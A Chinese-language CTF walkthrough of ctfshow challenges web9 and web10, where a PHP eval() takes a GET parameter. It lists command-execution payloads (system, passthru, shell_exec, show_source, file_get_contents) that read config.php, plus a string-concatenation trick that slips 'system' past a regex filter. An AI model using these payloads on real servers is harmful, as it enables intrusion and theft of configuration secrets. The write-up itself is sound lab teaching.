一、訪問在線靶場ctfshow
1、web9
如下圖所示,進入_萌新賽的web9問題,題目提醒flag在config.php中:
?如上圖所示,可以get傳參,且傳入的參數需要正則匹配system、exec、highlight,且不區分大小寫,eval()可以遠程執行命令。
嘗試傳入參數c=system('ls');,如下圖所示:
?可以查看到2個文件,再嘗試查看第一個文件的內容,傳入參數c=system('cat con*');,頁面顯示空白,火狐瀏覽器F12,查看器查看時,看到flag,如下圖所示:
?另外,這里可以使用c=system('tac con*');,即倒著輸出config.php文件的內容,如下圖所示:
?嘗試傳入參數c=echo shell_exec('tac con*');,如下圖所示:
?注意system()和shell_exec()的區別,一個會給瀏覽器顯示,一個不會顯示(所以需要echo專門來顯示一下)。
嘗試傳入參數c=highlight_file('config.php');,如下圖所示:
?2、web10
?如下圖所示,進入_萌新賽的web10問題,題目提醒flag在config.php中:
如上圖所示,可以get傳參,且傳入的參數不能正則匹配system、exec、highlight,且不區分大小寫,eval()可以遠程執行命令。
嘗試傳入參數c=passthru('tac con*');,如下圖所示:
?嘗試傳入參數c=show_source('config.php');,如下圖所示:
嘗試傳入參數c=echo file_get_contents('config.php');,火狐瀏覽器F12,查看器中可以查看到flag,如下圖所示:
?注意:show_souce()、file_get_contents(),需要傳入文件全名稱,不可用通配符來匹配了。
show_souce()會將文件以html輸出到瀏覽器;file_get_contents()讀取文件內容,并以字符串返回,所以需要echo來顯示出來。
嘗試傳入c=$a='sys';$b='tem';$d=$a.$b;$d('tac con*');,即傳入的參數在進行正則匹配驗證時,可以通過,且這多條php語句在eval()中可以順次執行,最終拼裝成了system('tac con*');,如下圖所示: